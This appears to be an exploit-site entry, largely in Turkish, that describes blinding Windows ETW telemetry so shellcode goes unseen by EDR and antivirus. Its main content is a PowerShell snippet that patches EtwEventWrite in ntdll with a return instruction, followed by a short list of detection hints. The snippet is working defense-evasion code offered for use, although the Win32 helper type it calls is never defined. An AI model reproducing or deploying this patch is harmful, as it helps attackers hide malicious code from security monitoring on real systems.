VULN REPORT
/
shellcode
/
ID: 263
Windows/x64 ETW Patch ile Shellcode Gorunmezligi
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_263.txt
Modern Evasion - Windows x64 - ETW Patch
Windows/x64 ETW Bypass - EtwEventWrite Patching
ETW, EDR ve guvenlik yazilimlarinin process aktivitesini izlemesini saglayan Windows mekanizmasidir. EtwEventWrite patch edilerek olay gunlugu uretimi durdurulabilir.
ETW Calisma Mantigi
[Process calisir]
EtwEventWrite() cagrisi (ntdll.dll icinde)
ETW session'ina olay gonderilir
EDR/AV saglayicisi alir ve analiz eder
Patch yapilirsa:
EtwEventWrite() -> ret 0 (Olay uretilmez)
PowerShell ETW Patch
$p = [byte[]] (0xC3) # ret
$ntdll = [Diagnostics.Process]::GetCurrentProcess().Modules |
Where-Object { $_.ModuleName -eq "ntdll.dll" }
$etwAddr = [Win32]::GetProcAddress(
[Win32]::LoadLibrary("ntdll.dll"), "EtwEventWrite")
[Win32]::VirtualProtect($etwAddr, 1, 0x40, [ref]0)
[Runtime.InteropServices.Marshal]::Copy($p, 0, $etwAddr, 1)
Tespit
Kernel ETW patch'lenemez (sadece user-mode)
Windows Defender Credential Guard ek koruma saglar
Event ID Microsoft-Windows-Kernel-EventTracing izlenmeli
Entry Stats
Views
1
Downloads
0
Comments
0